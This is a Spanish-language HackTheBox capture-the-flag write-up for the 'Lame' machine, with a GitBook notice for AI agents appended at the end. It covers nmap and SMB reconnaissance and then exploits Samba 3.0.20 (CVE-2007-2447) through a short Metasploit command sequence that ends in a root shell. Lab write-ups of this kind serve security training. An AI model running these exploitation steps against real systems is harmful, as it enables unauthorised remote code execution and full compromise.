> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/hackthebox/lame.md).

# Lame

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 10.10.10.3
```

para verificar la conectividad de red.

<figure><img src="/files/oGIDWJCpQimrOFxrRTRF" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sC -sV 10.10.10.3
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/10yIWoc2HPqDss9PqWQE" alt=""><figcaption></figcaption></figure>

Durante el escaneo se identificaron los siguientes puertos abiertos:

* **21 (FTP)**: Protocolo de transferencia de archivos, puede permitir el acceso anónimo o credenciales débiles.
* **22 (SSH)**: Servicio de acceso remoto seguro, posible vector de ataque si se detectan credenciales débiles o exploits disponibles.
* **139, 445 (SMB)**: Protocolos de compartición de archivos en redes Windows, potencialmente expuestos a vulnerabilidades como SMB Relay o EternalBlue.

A continuación, se procederá a analizar cada uno de estos servicios en busca de posibles vectores de ataque.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p21,22,139,445 -v 10.10.10.3
```

para que nos proporcione más información sobre esos puertos específicamente.

<figure><img src="/files/pdHbWNgt9GNADQYSDtiY" alt=""><figcaption></figcaption></figure>

Revisamos el puerto 21 con el usuario Anonymous.

```
ftp 10.10.10.3
```

No contiene nada.

<figure><img src="/files/1DMJya8ZtuXD435zmD4V" alt=""><figcaption></figcaption></figure>

Miramos el protocolo SMB.

```bash
smbmap -H 10.10.10.3
```

<figure><img src="/files/cg2H1kBm3vDogFAnhoDJ" alt=""><figcaption></figcaption></figure>

Vemos si es explotable a algún CVE.

```bash
nmap -p 445 --script smb-os-discovery,smb-protocols,smb2-capabilities 10.10.10.3
```

<figure><img src="/files/hLYeLVsl4LWBzDFSNjbe" alt=""><figcaption></figcaption></figure>

Dado que el sistema usa **Samba 3.0.20**, hay una vulnerabilidad conocida que permite **ejecución remota de código (RCE).**

**CVE-2007-2447 – Samba "username map script" Command Injection:** Esta vulnerabilidad permite ejecutar comandos arbitrarios en el servidor Samba si la opción **"username map script"** está habilitada en `smb.conf`.

### 🚀 **EXPLOTACIÓN**

Abrimos Metasploit para explotar esta vulnerabilidad.

```bash
search Samba 3.0.20
use 0
show options
set RHOSTS 10.10.10.3
set RPORT 445
set LHOST 10.10.14.7
run
```

<figure><img src="/files/5zxrn7uoOihVKSkvIROB" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

<figure><img src="/files/ED09j7F5U1ARfBRn5T80" alt=""><figcaption></figcaption></figure>

Somos **root**.

<figure><img src="/files/InQ2lz2f5bxzf1cOXdy3" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/hackthebox/lame.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
